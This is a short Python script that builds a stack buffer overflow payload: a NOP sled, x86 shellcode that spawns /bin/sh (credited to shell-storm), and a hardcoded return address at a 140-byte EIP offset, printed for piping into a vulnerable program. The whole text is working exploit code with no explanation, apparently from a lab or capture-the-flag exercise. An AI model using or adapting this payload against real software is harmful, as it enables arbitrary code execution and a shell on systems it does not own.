EIP_OFFSET = 140

SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73"
SHELLCODE += "\x68\x68\x2f\x62\x69\x6e\x89"
SHELLCODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
SHELLCODE += "\xcd\x80\x31\xc0\x40\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-811.php

NOP_SLED = '\x90' * (EIP_OFFSET - len(SHELLCODE))

RET = '\x40\xd5\xff\xff' # 0x ff ff d5 40

buf = ''
buf += NOP_SLED
buf += SHELLCODE
buf += RET

print(buf)